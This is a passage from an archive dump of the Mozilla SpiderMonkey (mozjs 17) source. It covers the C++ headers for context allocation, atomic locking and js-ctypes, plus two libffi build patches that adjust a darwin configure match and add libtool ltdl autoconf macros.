reportAllocOverflow() const {} }; /* * FIXME bug 647103 - replace these *AllocPolicy names. */ class ContextAllocPolicy { JSContext *const cx; public: ContextAllocPolicy(JSContext *cx) : cx(cx) {} JSContext *context() const { return cx; } void *malloc_(size_t bytes) { return cx->malloc_(bytes); } void *realloc_(void *p, size_t oldBytes, size_t bytes) { return cx->realloc_(p, oldBytes, bytes); } void free_(void *p) { cx->free_(p); } void reportAllocOverflow() const { js_ReportAllocationOverflow(cx); } }; } /* namespace js */ #ifdef _MSC_VER #pragma warning(pop) #pragma warning(pop) #endif #endif /* jscntxt_h___ */ mozjs17.0.0/js/src/jslock.h0000664000175000017500000000276212106270662015450 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * * This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef jslock_h__ #define jslock_h__ #include "jsapi.h" #ifdef JS_THREADSAFE # include "pratom.h" # include "prlock.h" # include "prcvar.h" # include "prthread.h" # include "prinit.h" # define JS_ATOMIC_INCREMENT(p) PR_ATOMIC_INCREMENT((int32_t *)(p)) # define JS_ATOMIC_DECREMENT(p) PR_ATOMIC_DECREMENT((int32_t *)(p)) # define JS_ATOMIC_ADD(p,v) PR_ATOMIC_ADD((int32_t *)(p), (int32_t)(v)) # define JS_ATOMIC_SET(p,v) PR_ATOMIC_SET((int32_t *)(p), (int32_t)(v)) #else /* JS_THREADSAFE */ typedef struct PRThread PRThread; typedef struct PRCondVar PRCondVar; typedef struct PRLock PRLock; # define JS_ATOMIC_INCREMENT(p) (++*(p)) # define JS_ATOMIC_DECREMENT(p) (--*(p)) # define JS_ATOMIC_ADD(p,v) (*(p) += (v)) # define JS_ATOMIC_SET(p,v) (*(p) = (v)) #endif /* JS_THREADSAFE */ namespace js { class AutoAtomicIncrement { int32_t *p; JS_DECL_USE_GUARD_OBJECT_NOTIFIER public: AutoAtomicIncrement(int32_t *p JS_GUARD_OBJECT_NOTIFIER_PARAM) : p(p) { JS_GUARD_OBJECT_NOTIFIER_INIT; JS_ATOMIC_INCREMENT(p); } ~AutoAtomicIncrement() { JS_ATOMIC_DECREMENT(p); } }; } /* namespace js */ #endif /* jslock_h___ */ mozjs17.0.0/js/src/ctypes/0000775000175000017500000000000012106270662015312 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/CTypes.h0000664000175000017500000003773412106270662016710 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef CTYPES_H #define CTYPES_H #include "jscntxt.h" #include "jsapi.h" #include "prlink.h" #include "ffi.h" #include "js/HashTable.h" namespace js { namespace ctypes { /******************************************************************************* ** Utility classes *******************************************************************************/ template class OperatorDelete { public: static void destroy(T* ptr) { UnwantedForeground::delete_(ptr); } }; template class OperatorArrayDelete { public: static void destroy(T* ptr) { UnwantedForeground::array_delete(ptr); } }; // Class that takes ownership of a pointer T*, and calls cx->delete_() or // cx->array_delete() upon destruction. template > class AutoPtr { private: typedef AutoPtr self_type; public: // An AutoPtr variant that calls js_array_delete() instead. typedef AutoPtr > Array; AutoPtr() : mPtr(NULL) { } explicit AutoPtr(T* ptr) : mPtr(ptr) { } ~AutoPtr() { DeleteTraits::destroy(mPtr); } T* operator->() { return mPtr; } bool operator!() { return mPtr == NULL; } T& operator[](size_t i) { return *(mPtr + i); } // Note: we cannot safely provide an 'operator T*()', since this would allow // the compiler to perform implicit conversion from one AutoPtr to another // via the constructor AutoPtr(T*). T* get() { return mPtr; } void set(T* other) { JS_ASSERT(mPtr == NULL); mPtr = other; } T* forget() { T* result = mPtr; mPtr = NULL; return result; } self_type& operator=(T* rhs) { mPtr = rhs; return *this; } private: // Do not allow copy construction or assignment from another AutoPtr. template AutoPtr(AutoPtr&); template self_type& operator=(AutoPtr& rhs); T* mPtr; }; // Container class for Vector, using SystemAllocPolicy. template class Array : public Vector { }; // String and AutoString classes, based on Vector. typedef Vector String; typedef Vector AutoString; typedef Vector CString; typedef Vector AutoCString; // Convenience functions to append, insert, and compare Strings. template void AppendString(Vector &v, const char (&array)[ArrayLength]) { // Don't include the trailing '\0'. size_t alen = ArrayLength - 1; size_t vlen = v.length(); if (!v.resize(vlen + alen)) return; for (size_t i = 0; i < alen; ++i) v[i + vlen] = array[i]; } template void AppendString(Vector &v, Vector &w) { v.append(w.begin(), w.length()); } template void AppendString(Vector &v, JSString* str) { JS_ASSERT(str); const jschar *chars = str->getChars(NULL); if (!chars) return; v.append(chars, str->length()); } template void AppendString(Vector &v, JSString* str) { JS_ASSERT(str); size_t vlen = v.length(); size_t alen = str->length(); if (!v.resize(vlen + alen)) return; const jschar *chars = str->getChars(NULL); if (!chars) return; for (size_t i = 0; i < alen; ++i) v[i + vlen] = char(chars[i]); } template void PrependString(Vector &v, const char (&array)[ArrayLength]) { // Don't include the trailing '\0'. size_t alen = ArrayLength - 1; size_t vlen = v.length(); if (!v.resize(vlen + alen)) return; // Move vector data forward. This is safe since we've already resized. memmove(v.begin() + alen, v.begin(), vlen * sizeof(T)); // Copy data to insert. for (size_t i = 0; i < alen; ++i) v[i] = array[i]; } template void PrependString(Vector &v, JSString* str) { JS_ASSERT(str); size_t vlen = v.length(); size_t alen = str->length(); if (!v.resize(vlen + alen)) return; const jschar *chars = str->getChars(NULL); if (!chars) return; // Move vector data forward. This is safe since we've already resized. memmove(v.begin() + alen, v.begin(), vlen * sizeof(jschar)); // Copy data to insert. memcpy(v.begin(), chars, alen * sizeof(jschar)); } /******************************************************************************* ** Function and struct API definitions *******************************************************************************/ JS_ALWAYS_INLINE void ASSERT_OK(JSBool ok) { JS_ASSERT(ok); } // for JS error reporting enum ErrorNum { #define MSG_DEF(name, number, count, exception, format) \ name = number, #include "ctypes.msg" #undef MSG_DEF CTYPESERR_LIMIT }; const JSErrorFormatString* GetErrorMessage(void* userRef, const char* locale, const unsigned errorNumber); JSBool TypeError(JSContext* cx, const char* expected, jsval actual); /** * ABI constants that specify the calling convention to use. * ctypes.default_abi corresponds to the cdecl convention, and in almost all * cases is the correct choice. ctypes.stdcall_abi is provided for calling * stdcall functions on Win32, and implies stdcall symbol name decoration; * ctypes.winapi_abi is just stdcall but without decoration. */ enum ABICode { ABI_DEFAULT, ABI_STDCALL, ABI_WINAPI, INVALID_ABI }; enum TypeCode { TYPE_void_t, #define DEFINE_TYPE(name, type, ffiType) TYPE_##name, #include "typedefs.h" TYPE_pointer, TYPE_function, TYPE_array, TYPE_struct }; // Descriptor of one field in a StructType. The name of the field is stored // as the key to the hash entry. struct FieldInfo { JSObject* mType; // CType of the field size_t mIndex; // index of the field in the struct (first is 0) size_t mOffset; // offset of the field in the struct, in bytes }; // Hash policy for FieldInfos. struct FieldHashPolicy { typedef JSFlatString* Key; typedef Key Lookup; static uint32_t hash(const Lookup &l) { const jschar* s = l->chars(); size_t n = l->length(); uint32_t hash = 0; for (; n > 0; s++, n--) hash = hash * 33 + *s; return hash; } static JSBool match(const Key &k, const Lookup &l) { if (k == l) return true; if (k->length() != l->length()) return false; return memcmp(k->chars(), l->chars(), k->length() * sizeof(jschar)) == 0; } }; typedef HashMap FieldInfoHash; // Descriptor of ABI, return type, argument types, and variadicity for a // FunctionType. struct FunctionInfo { // Initialized in NewFunctionInfo when !mIsVariadic, but only later, in // FunctionType::Call, when mIsVariadic. Not always consistent with // mFFITypes, due to lazy initialization when mIsVariadic. ffi_cif mCIF; // Calling convention of the function. Convert to ffi_abi using GetABI // and OBJECT_TO_JSVAL. Stored as a JSObject* for ease of tracing. JSObject* mABI; // The CType of the value returned by the function. JSObject* mReturnType; // A fixed array of known parameter types, excluding any variadic // parameters (if mIsVariadic). Array mArgTypes; // A variable array of ffi_type*s corresponding to both known parameter // types and dynamic (variadic) parameter types. Longer than mArgTypes // only if mIsVariadic. Array mFFITypes; // Flag indicating whether the function behaves like a C function with // ... as the final formal parameter. bool mIsVariadic; }; // Parameters necessary for invoking a JS function from a C closure. struct ClosureInfo { JSContext* cx; // JSContext to use JSRuntime* rt; // Used in the destructor, where cx might have already // been GCed. JSObject* closureObj; // CClosure object JSObject* typeObj; // FunctionType describing the C function JSObject* thisObj; // 'this' object to use for the JS function call JSObject* jsfnObj; // JS function void* errResult; // Result that will be returned if the closure throws ffi_closure* closure; // The C closure itself // Anything conditionally freed in the destructor should be initialized to // NULL here. ClosureInfo(JSRuntime* runtime) : rt(runtime) , errResult(NULL) , closure(NULL) {} ~ClosureInfo() { if (closure) ffi_closure_free(closure); if (errResult) rt->free_(errResult); }; }; bool IsCTypesGlobal(JSObject* obj); JSCTypesCallbacks* GetCallbacks(JSObject* obj); JSBool InitTypeClasses(JSContext* cx, JSHandleObject parent); JSBool ConvertToJS(JSContext* cx, JSHandleObject typeObj, JSHandleObject dataObj, void* data, bool wantPrimitive, bool ownResult, jsval* result); JSBool ImplicitConvert(JSContext* cx, jsval val, JSObject* targetType, void* buffer, bool isArgument, bool* freePointer); JSBool ExplicitConvert(JSContext* cx, jsval val, JSHandleObject targetType, void* buffer); /******************************************************************************* ** JSClass reserved slot definitions *******************************************************************************/ enum CTypesGlobalSlot { SLOT_CALLBACKS = 0, // pointer to JSCTypesCallbacks struct SLOT_ERRNO = 1, // jsval for latest |errno| SLOT_LASTERROR = 2, // jsval for latest |GetLastError|, used only with Windows CTYPESGLOBAL_SLOTS }; enum CABISlot { SLOT_ABICODE = 0, // ABICode of the CABI object CABI_SLOTS }; enum CTypeProtoSlot { SLOT_POINTERPROTO = 0, // ctypes.PointerType.prototype object SLOT_ARRAYPROTO = 1, // ctypes.ArrayType.prototype object SLOT_STRUCTPROTO = 2, // ctypes.StructType.prototype object SLOT_FUNCTIONPROTO = 3, // ctypes.FunctionType.prototype object SLOT_CDATAPROTO = 4, // ctypes.CData.prototype object SLOT_POINTERDATAPROTO = 5, // common ancestor of all CData objects of PointerType SLOT_ARRAYDATAPROTO = 6, // common ancestor of all CData objects of ArrayType SLOT_STRUCTDATAPROTO = 7, // common ancestor of all CData objects of StructType SLOT_FUNCTIONDATAPROTO = 8, // common ancestor of all CData objects of FunctionType SLOT_INT64PROTO = 9, // ctypes.Int64.prototype object SLOT_UINT64PROTO = 10, // ctypes.UInt64.prototype object SLOT_CTYPES = 11, // ctypes object SLOT_OURDATAPROTO = 12, // the data prototype corresponding to this object SLOT_CLOSURECX = 13, // JSContext for use with FunctionType closures CTYPEPROTO_SLOTS }; enum CTypeSlot { SLOT_PROTO = 0, // 'prototype' property of the CType object SLOT_TYPECODE = 1, // TypeCode of the CType object SLOT_FFITYPE = 2, // ffi_type representing the type SLOT_NAME = 3, // name of the type SLOT_SIZE = 4, // size of the type, in bytes SLOT_ALIGN = 5, // alignment of the type, in bytes SLOT_PTR = 6, // cached PointerType object for type.ptr // Note that some of the slots below can overlap, since they're for // mutually exclusive types. SLOT_TARGET_T = 7, // (PointerTypes only) 'targetType' property SLOT_ELEMENT_T = 7, // (ArrayTypes only) 'elementType' property SLOT_LENGTH = 8, // (ArrayTypes only) 'length' property SLOT_FIELDS = 7, // (StructTypes only) 'fields' property SLOT_FIELDINFO = 8, // (StructTypes only) FieldInfoHash table SLOT_FNINFO = 7, // (FunctionTypes only) FunctionInfo struct SLOT_ARGS_T = 8, // (FunctionTypes only) 'argTypes' property (cached) CTYPE_SLOTS }; enum CDataSlot { SLOT_CTYPE = 0, // CType object representing the underlying type SLOT_REFERENT = 1, // JSObject this object must keep alive, if any SLOT_DATA = 2, // pointer to a buffer containing the binary data SLOT_OWNS = 3, // JSVAL_TRUE if this CData owns its own buffer CDATA_SLOTS }; enum CClosureSlot { SLOT_CLOSUREINFO = 0, // ClosureInfo struct CCLOSURE_SLOTS }; enum CDataFinalizerSlot { // The type of the value (a CType JSObject). // We hold it to permit ImplicitConvert and ToSource. SLOT_DATAFINALIZER_VALTYPE = 0, // The type of the function used at finalization (a CType JSObject). // We hold it to permit |ToSource|. SLOT_DATAFINALIZER_CODETYPE = 1, CDATAFINALIZER_SLOTS }; enum TypeCtorSlot { SLOT_FN_CTORPROTO = 0 // ctypes.{Pointer,Array,Struct}Type.prototype // JSFunction objects always get exactly two slots. }; enum Int64Slot { SLOT_INT64 = 0, // pointer to a 64-bit buffer containing the integer INT64_SLOTS }; enum Int64FunctionSlot { SLOT_FN_INT64PROTO = 0 // ctypes.{Int64,UInt64}.prototype object // JSFunction objects always get exactly two slots. }; /******************************************************************************* ** Object API definitions *******************************************************************************/ namespace CType { JSObject* Create(JSContext* cx, JSHandleObject typeProto, JSHandleObject dataProto, TypeCode type, JSString* name, jsval size, jsval align, ffi_type* ffiType); JSObject* DefineBuiltin(JSContext* cx, JSObject* parent, const char* propName, JSObject* typeProto, JSObject* dataProto, const char* name, TypeCode type, jsval size, jsval align, ffi_type* ffiType); bool IsCType(JSObject* obj); bool IsCTypeProto(JSObject* obj); TypeCode GetTypeCode(JSObject* typeObj); bool TypesEqual(JSObject* t1, JSObject* t2); size_t GetSize(JSObject* obj); bool GetSafeSize(JSObject* obj, size_t* result); bool IsSizeDefined(JSObject* obj); size_t GetAlignment(JSObject* obj); ffi_type* GetFFIType(JSContext* cx, JSObject* obj); JSString* GetName(JSContext* cx, JSHandleObject obj); JSObject* GetProtoFromCtor(JSObject* obj, CTypeProtoSlot slot); JSObject* GetProtoFromType(JSObject* obj, CTypeProtoSlot slot); JSCTypesCallbacks* GetCallbacksFromType(JSObject* obj); } namespace PointerType { JSObject* CreateInternal(JSContext* cx, JSHandleObject baseType); JSObject* GetBaseType(JSObject* obj); } namespace ArrayType { JSObject* CreateInternal(JSContext* cx, JSHandleObject baseType, size_t length, bool lengthDefined); JSObject* GetBaseType(JSObject* obj); size_t GetLength(JSObject* obj); bool GetSafeLength(JSObject* obj, size_t* result); ffi_type* BuildFFIType(JSContext* cx, JSObject* obj); } namespace StructType { JSBool DefineInternal(JSContext* cx, JSObject* typeObj, JSObject* fieldsObj); const FieldInfoHash* GetFieldInfo(JSObject* obj); const FieldInfo* LookupField(JSContext* cx, JSObject* obj, JSFlatString *name); JSObject* BuildFieldsArray(JSContext* cx, JSObject* obj); ffi_type* BuildFFIType(JSContext* cx, JSObject* obj); } namespace FunctionType { JSObject* CreateInternal(JSContext* cx, jsval abi, jsval rtype, jsval* argtypes, unsigned arglen); JSObject* ConstructWithObject(JSContext* cx, JSObject* typeObj, JSObject* refObj, PRFuncPtr fnptr, JSObject* result); FunctionInfo* GetFunctionInfo(JSObject* obj); void BuildSymbolName(JSString* name, JSObject* typeObj, AutoCString& result); } namespace CClosure { JSObject* Create(JSContext* cx, JSHandleObject typeObj, JSHandleObject fnObj, JSHandleObject thisObj, jsval errVal, PRFuncPtr* fnptr); } namespace CData { JSObject* Create(JSContext* cx, JSHandleObject typeObj, JSHandleObject refObj, void* data, bool ownResult); JSObject* GetCType(JSObject* dataObj); void* GetData(JSObject* dataObj); bool IsCData(JSObject* obj); bool IsCDataProto(JSObject* obj); // Attached by JSAPI as the function 'ctypes.cast' JSBool Cast(JSContext* cx, unsigned argc, jsval* vp); // Attached by JSAPI as the function 'ctypes.getRuntime' JSBool GetRuntime(JSContext* cx, unsigned argc, jsval* vp); } namespace Int64 { bool IsInt64(JSObject* obj); } namespace UInt64 { bool IsUInt64(JSObject* obj); } } } #endif mozjs17.0.0/js/src/ctypes/patches-libffi/0000775000175000017500000000000012106270662020172 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/patches-libffi/02-bug-682180.patch0000664000175000017500000000222112106270662022752 0ustar sstanglsstangldiff --git a/js/src/ctypes/libffi/configure b/js/src/ctypes/libffi/configure index 2c08e1b..37e3055 100755 --- a/js/src/ctypes/libffi/configure +++ b/js/src/ctypes/libffi/configure @@ -12362,7 +12362,7 @@ $as_echo "#define HAVE_AS_STRING_PSEUDO_OP 1" >>confdefs.h fi case "$target" in - *-apple-darwin10* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) + *-apple-darwin1* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) $as_echo "#define FFI_MMAP_EXEC_WRIT 1" >>confdefs.h diff --git a/js/src/ctypes/libffi/configure.ac b/js/src/ctypes/libffi/configure.ac index e85cff1..1db02ce 100644 --- a/js/src/ctypes/libffi/configure.ac +++ b/js/src/ctypes/libffi/configure.ac @@ -316,7 +316,8 @@ if test x$TARGET = xX86 || test x$TARGET = xX86_WIN32 || test x$TARGET = xX86_64 fi case "$target" in - *-apple-darwin10* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) + # Darwin 10 (OSX 10.6) and beyond allocate non-executable pages + *-apple-darwin1* | *-*-freebsd* | *-*-openbsd* | *-pc-solaris*) AC_DEFINE(FFI_MMAP_EXEC_WRIT, 1, [Cannot use malloc on this target, so, we revert to alternative means]) mozjs17.0.0/js/src/ctypes/patches-libffi/03-bug-712594.patch0000664000175000017500000010655612106270662022776 0ustar sstanglsstanglcommit 5b9cd52784339a42e417174a55e310e214d435f9 Author: Anthony Green Date: Mon Nov 22 15:19:57 2010 -0500 win64-underscore patch diff --git a/aclocal.m4 b/aclocal.m4 index 0ef4b09..4079f82 100644 --- a/aclocal.m4 +++ b/aclocal.m4 @@ -7364,6 +7364,811 @@ _LT_EOF esac ]) +# ltdl.m4 - Configure ltdl for the target system. -*-Autoconf-*- +# +# Copyright (C) 1999-2006, 2007, 2008 Free Software Foundation, Inc. +# Written by Thomas Tanner, 1999 +# +# This file is free software; the Free Software Foundation gives +# unlimited permission to copy and/or distribute it, with or without +# modifications, as long as this notice is preserved. + +# serial 17 LTDL_INIT + +# LT_CONFIG_LTDL_DIR(DIRECTORY, [LTDL-MODE]) +# ------------------------------------------ +# DIRECTORY contains the libltdl sources. It is okay to call this +# function multiple times, as long as the same DIRECTORY is always given. +AC_DEFUN([LT_CONFIG_LTDL_DIR], +[AC_BEFORE([$0], [LTDL_INIT]) +_$0($*) +])# LT_CONFIG_LTDL_DIR + +# We break this out into a separate macro, so that we can call it safely +# internally without being caught accidentally by the sed scan in libtoolize. +m4_defun([_LT_CONFIG_LTDL_DIR], +[dnl remove trailing slashes +m4_pushdef([_ARG_DIR], m4_bpatsubst([$1], [/*$])) +m4_case(_LTDL_DIR, + [], [dnl only set lt_ltdl_dir if _ARG_DIR is not simply `.' + m4_if(_ARG_DIR, [.], + [], + [m4_define([_LTDL_DIR], _ARG_DIR) + _LT_SHELL_INIT([lt_ltdl_dir=']_ARG_DIR['])])], + [m4_if(_ARG_DIR, _LTDL_DIR, + [], + [m4_fatal([multiple libltdl directories: `]_LTDL_DIR[', `]_ARG_DIR['])])]) +m4_popdef([_ARG_DIR]) +])# _LT_CONFIG_LTDL_DIR + +# Initialise: +m4_define([_LTDL_DIR], []) + + +# _LT_BUILD_PREFIX +# ---------------- +# If Autoconf is new enough, expand to `${top_build_prefix}', otherwise +# to `${top_builddir}/'. +m4_define([_LT_BUILD_PREFIX], +[m4_ifdef([AC_AUTOCONF_VERSION], + [m4_if(m4_version_compare(m4_defn([AC_AUTOCONF_VERSION]), [2.62]), + [-1], [m4_ifdef([_AC_HAVE_TOP_BUILD_PREFIX], + [${top_build_prefix}], + [${top_builddir}/])], + [${top_build_prefix}])], + [${top_builddir}/])[]dnl +]) + + +# LTDL_CONVENIENCE +# ---------------- +# sets LIBLTDL to the link flags for the libltdl convenience library and +# LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-convenience to the configure arguments. Note that +# AC_CONFIG_SUBDIRS is not called here. LIBLTDL will be prefixed with +# '${top_build_prefix}' if available, otherwise with '${top_builddir}/', +# and LTDLINCL will be prefixed with '${top_srcdir}/' (note the single +# quotes!). If your package is not flat and you're not using automake, +# define top_build_prefix, top_builddir, and top_srcdir appropriately +# in your Makefiles. +AC_DEFUN([LTDL_CONVENIENCE], +[AC_BEFORE([$0], [LTDL_INIT])dnl +dnl Although the argument is deprecated and no longer documented, +dnl LTDL_CONVENIENCE used to take a DIRECTORY orgument, if we have one +dnl here make sure it is the same as any other declaration of libltdl's +dnl location! This also ensures lt_ltdl_dir is set when configure.ac is +dnl not yet using an explicit LT_CONFIG_LTDL_DIR. +m4_ifval([$1], [_LT_CONFIG_LTDL_DIR([$1])])dnl +_$0() +])# LTDL_CONVENIENCE + +# AC_LIBLTDL_CONVENIENCE accepted a directory argument in older libtools, +# now we have LT_CONFIG_LTDL_DIR: +AU_DEFUN([AC_LIBLTDL_CONVENIENCE], +[_LT_CONFIG_LTDL_DIR([m4_default([$1], [libltdl])]) +_LTDL_CONVENIENCE]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBLTDL_CONVENIENCE], []) + + +# _LTDL_CONVENIENCE +# ----------------- +# Code shared by LTDL_CONVENIENCE and LTDL_INIT([convenience]). +m4_defun([_LTDL_CONVENIENCE], +[case $enable_ltdl_convenience in + no) AC_MSG_ERROR([this package needs a convenience libltdl]) ;; + "") enable_ltdl_convenience=yes + ac_configure_args="$ac_configure_args --enable-ltdl-convenience" ;; +esac +LIBLTDL='_LT_BUILD_PREFIX'"${lt_ltdl_dir+$lt_ltdl_dir/}libltdlc.la" +LTDLDEPS=$LIBLTDL +LTDLINCL='-I${top_srcdir}'"${lt_ltdl_dir+/$lt_ltdl_dir}" + +AC_SUBST([LIBLTDL]) +AC_SUBST([LTDLDEPS]) +AC_SUBST([LTDLINCL]) + +# For backwards non-gettext consistent compatibility... +INCLTDL="$LTDLINCL" +AC_SUBST([INCLTDL]) +])# _LTDL_CONVENIENCE + + +# LTDL_INSTALLABLE +# ---------------- +# sets LIBLTDL to the link flags for the libltdl installable library +# and LTDLINCL to the include flags for the libltdl header and adds +# --enable-ltdl-install to the configure arguments. Note that +# AC_CONFIG_SUBDIRS is not called from here. If an installed libltdl +# is not found, LIBLTDL will be prefixed with '${top_build_prefix}' if +# available, otherwise with '${top_builddir}/', and LTDLINCL will be +# prefixed with '${top_srcdir}/' (note the single quotes!). If your +# package is not flat and you're not using automake, define top_build_prefix, +# top_builddir, and top_srcdir appropriately in your Makefiles. +# In the future, this macro may have to be called after LT_INIT. +AC_DEFUN([LTDL_INSTALLABLE], +[AC_BEFORE([$0], [LTDL_INIT])dnl +dnl Although the argument is deprecated and no longer documented, +dnl LTDL_INSTALLABLE used to take a DIRECTORY orgument, if we have one +dnl here make sure it is the same as any other declaration of libltdl's +dnl location! This also ensures lt_ltdl_dir is set when configure.ac is +dnl not yet using an explicit LT_CONFIG_LTDL_DIR. +m4_ifval([$1], [_LT_CONFIG_LTDL_DIR([$1])])dnl +_$0() +])# LTDL_INSTALLABLE + +# AC_LIBLTDL_INSTALLABLE accepted a directory argument in older libtools, +# now we have LT_CONFIG_LTDL_DIR: +AU_DEFUN([AC_LIBLTDL_INSTALLABLE], +[_LT_CONFIG_LTDL_DIR([m4_default([$1], [libltdl])]) +_LTDL_INSTALLABLE]) + +dnl aclocal-1.4 backwards compatibility: +dnl AC_DEFUN([AC_LIBLTDL_INSTALLABLE], []) + + +# _LTDL_INSTALLABLE +# ----------------- +# Code shared by LTDL_INSTALLABLE and LTDL_INIT([installable]). +m4_defun([_LTDL_INSTALLABLE], +[if test -f $prefix/lib/libltdl.la; then + lt_save_LDFLAGS="$LDFLAGS" + LDFLAGS="-L$prefix/lib $LDFLAGS" + AC_CHECK_LIB([ltdl], [lt_dlinit], [lt_lib_ltdl=yes]) + LDFLAGS="$lt_save_LDFLAGS" + if test x"${lt_lib_ltdl-no}" = xyes; then + if test x"$enable_ltdl_install" != xyes; then + # Don't overwrite $prefix/lib/libltdl.la without --enable-ltdl-install + AC_MSG_WARN([not overwriting libltdl at $prefix, force with `--enable-ltdl-install']) + enable_ltdl_install=no + fi + elif test x"$enable_ltdl_install" = xno; then + AC_MSG_WARN([libltdl not installed, but installation disabled]) + fi +fi + +# If configure.ac declared an installable ltdl, and the user didn't override +# with --disable-ltdl-install, we will install the shipped libltdl. +case $enable_ltdl_install in + no) ac_configure_args="$ac_configure_args --enable-ltdl-install=no" + LIBLTDL="-lltdl" + LTDLDEPS= + LTDLINCL= + ;; + *) enable_ltdl_install=yes + ac_configure_args="$ac_configure_args --enable-ltdl-install" + LIBLTDL='_LT_BUILD_PREFIX'"${lt_ltdl_dir+$lt_ltdl_dir/}libltdl.la" + LTDLDEPS=$LIBLTDL + LTDLINCL='-I${top_srcdir}'"${lt_ltdl_dir+/$lt_ltdl_dir}" + ;; +esac + +AC_SUBST([LIBLTDL]) +AC_SUBST([LTDLDEPS]) +AC_SUBST([LTDLINCL]) + +# For backwards non-gettext consistent compatibility... +INCLTDL="$LTDLINCL" +AC_SUBST([INCLTDL]) +])# LTDL_INSTALLABLE + + +# _LTDL_MODE_DISPATCH +# ------------------- +m4_define([_LTDL_MODE_DISPATCH], +[dnl If _LTDL_DIR is `.', then we are configuring libltdl itself: +m4_if(_LTDL_DIR, [], + [], + dnl if _LTDL_MODE was not set already, the default value is `subproject': + [m4_case(m4_default(_LTDL_MODE, [subproject]), + [subproject], [AC_CONFIG_SUBDIRS(_LTDL_DIR) + _LT_SHELL_INIT([lt_dlopen_dir="$lt_ltdl_dir"])], + [nonrecursive], [_LT_SHELL_INIT([lt_dlopen_dir="$lt_ltdl_dir"; lt_libobj_prefix="$lt_ltdl_dir/"])], + [recursive], [], + [m4_fatal([unknown libltdl mode: ]_LTDL_MODE)])])dnl +dnl Be careful not to expand twice: +m4_define([$0], []) +])# _LTDL_MODE_DISPATCH + + +# _LT_LIBOBJ(MODULE_NAME) +# ----------------------- +# Like AC_LIBOBJ, except that MODULE_NAME goes into _LT_LIBOBJS instead +# of into LIBOBJS. +AC_DEFUN([_LT_LIBOBJ], [ + m4_pattern_allow([^_LT_LIBOBJS$]) + _LT_LIBOBJS="$_LT_LIBOBJS $1.$ac_objext" +])# _LT_LIBOBJS + + +# LTDL_INIT([OPTIONS]) +# -------------------- +# Clients of libltdl can use this macro to allow the installer to +# choose between a shipped copy of the ltdl sources or a preinstalled +# version of the library. If the shipped ltdl sources are not in a +# subdirectory named libltdl, the directory name must be given by +# LT_CONFIG_LTDL_DIR. +AC_DEFUN([LTDL_INIT], +[dnl Parse OPTIONS +_LT_SET_OPTIONS([$0], [$1]) + +dnl We need to keep our own list of libobjs separate from our parent project, +dnl and the easiest way to do that is redefine the AC_LIBOBJs macro while +dnl we look for our own LIBOBJs. +m4_pushdef([AC_LIBOBJ], m4_defn([_LT_LIBOBJ])) +m4_pushdef([AC_LIBSOURCES]) + +dnl If not otherwise defined, default to the 1.5.x compatible subproject mode: +m4_if(_LTDL_MODE, [], + [m4_define([_LTDL_MODE], m4_default([$2], [subproject])) + m4_if([-1], [m4_bregexp(_LTDL_MODE, [\(subproject\|\(non\)?recursive\)])], + [m4_fatal([unknown libltdl mode: ]_LTDL_MODE)])]) + +AC_ARG_WITH([included_ltdl], + [AS_HELP_STRING([--with-included-ltdl], + [use the GNU ltdl sources included here])]) + +if test "x$with_included_ltdl" != xyes; then + # We are not being forced to use the included libltdl sources, so + # decide whether there is a useful installed version we can use. + AC_CHECK_HEADER([ltdl.h], + [AC_CHECK_DECL([lt_dlinterface_register], + [AC_CHECK_LIB([ltdl], [lt_dladvise_preload], + [with_included_ltdl=no], + [with_included_ltdl=yes])], + [with_included_ltdl=yes], + [AC_INCLUDES_DEFAULT + #include ])], + [with_included_ltdl=yes], + [AC_INCLUDES_DEFAULT] + ) +fi + +dnl If neither LT_CONFIG_LTDL_DIR, LTDL_CONVENIENCE nor LTDL_INSTALLABLE +dnl was called yet, then for old times' sake, we assume libltdl is in an +dnl eponymous directory: +AC_PROVIDE_IFELSE([LT_CONFIG_LTDL_DIR], [], [_LT_CONFIG_LTDL_DIR([libltdl])]) + +AC_ARG_WITH([ltdl_include], + [AS_HELP_STRING([--with-ltdl-include=DIR], + [use the ltdl headers installed in DIR])]) + +if test -n "$with_ltdl_include"; then + if test -f "$with_ltdl_include/ltdl.h"; then : + else + AC_MSG_ERROR([invalid ltdl include directory: `$with_ltdl_include']) + fi +else + with_ltdl_include=no +fi + +AC_ARG_WITH([ltdl_lib], + [AS_HELP_STRING([--with-ltdl-lib=DIR], + [use the libltdl.la installed in DIR])]) + +if test -n "$with_ltdl_lib"; then + if test -f "$with_ltdl_lib/libltdl.la"; then : + else + AC_MSG_ERROR([invalid ltdl library directory: `$with_ltdl_lib']) + fi +else + with_ltdl_lib=no +fi + +case ,$with_included_ltdl,$with_ltdl_include,$with_ltdl_lib, in + ,yes,no,no,) + m4_case(m4_default(_LTDL_TYPE, [convenience]), + [convenience], [_LTDL_CONVENIENCE], + [installable], [_LTDL_INSTALLABLE], + [m4_fatal([unknown libltdl build type: ]_LTDL_TYPE)]) + ;; + ,no,no,no,) + # If the included ltdl is not to be used, then use the + # preinstalled libltdl we found. + AC_DEFINE([HAVE_LTDL], [1], + [Define this if a modern libltdl is already installed]) + LIBLTDL=-lltdl + LTDLDEPS= + LTDLINCL= + ;; + ,no*,no,*) + AC_MSG_ERROR([`--with-ltdl-include' and `--with-ltdl-lib' options must be used together]) + ;; + *) with_included_ltdl=no + LIBLTDL="-L$with_ltdl_lib -lltdl" + LTDLDEPS= + LTDLINCL="-I$with_ltdl_include" + ;; +esac +INCLTDL="$LTDLINCL" + +# Report our decision... +AC_MSG_CHECKING([where to find libltdl headers]) +AC_MSG_RESULT([$LTDLINCL]) +AC_MSG_CHECKING([where to find libltdl library]) +AC_MSG_RESULT([$LIBLTDL]) + +_LTDL_SETUP + +dnl restore 